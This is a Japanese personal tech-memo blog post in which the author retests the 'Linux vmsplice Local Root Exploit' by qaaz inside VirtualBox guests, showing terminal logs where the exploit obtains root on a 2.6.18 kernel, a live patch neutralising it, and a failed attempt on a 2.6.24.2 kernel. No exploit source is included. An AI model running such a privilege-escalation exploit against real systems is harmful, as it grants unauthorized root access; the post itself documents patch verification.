僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
VirtualBox上のetchで追試。
検証コードと
ライブパッチは特にオプションをつけなくても
gcc-4.1.2でビルドできた。
$ uname -a Linux etch 2.6.18-5-686 #1 SMP Mon Dec 24 16:41:07 \ UTC 2007 i686 GNU/Linux user@etch:~/src/vulnerability$ ./exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7dec000 .. 0xb7e1e000 [+] root root@etch:~/src/vulnerability#
やりたい放題になった。
で、ログアウトしてからライブパッチ。
user@etch:~/src/vulnerability$ sudo ./livepatch ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e00000 .. 0xb7e32000 [+] root Exploit gone
少なくともexploitだけは効かなくなったようだ。
Plamo-4.22(Linux darkstar 2.6.22.9-plamoSMP #1 SMP PREEMPT Thu Sep 27 11:31:42 JST 2007 i686 unknown unknown GNU/Linux) で追試したが、同様。
gcc-4.2.3をビルドしている真っ最中(24時間過ぎても終わらない)のPlamoを
一旦、 VBoxManage controlvm Plamo savestateする。
さて etchでの追試が済んだので、再度startvm しようとしたが、
起動に失敗。破棄するしかなかった。
まだまだ詰めないと。
早速ビルドして、exploitだけ追試。
$ uname -a Linux $HOST 2.6.24.2 #1 PREEMPT Mon Feb 11 19:40:48 \ JST 2008 i686 unknown unknown GNU/Linux $ ./exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7df8000 .. 0xb7e2a000 [-] vmsplice: Bad address
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。